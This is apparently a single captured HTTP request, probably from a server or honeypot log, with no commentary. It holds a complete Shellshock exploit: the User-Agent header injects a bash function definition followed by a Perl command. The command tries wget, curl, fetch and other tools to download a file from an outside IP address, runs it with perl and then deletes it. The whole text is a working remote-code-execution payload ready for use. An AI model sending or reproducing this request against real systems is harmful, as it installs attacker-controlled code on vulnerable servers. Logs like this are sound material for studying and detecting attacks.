GET /cgi-bin/test-cgi HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget -O /tmp/b.gif http://189.190.50.56/b.gif; curl -O /tmp/b.gif http://189.190.50.56/b.gif;cd /tmp/; fetch http://189.190.50.56/b.gif; GET http://189.190.50.56/b.gif; lwp-download http://189.190.50.56/b.gif; lynx http://189.190.50.56/b.gif;perl /tmp/b.gif;rm -rf /tmp/b.gif*");' Host: 1.2.3.237 Connection: Close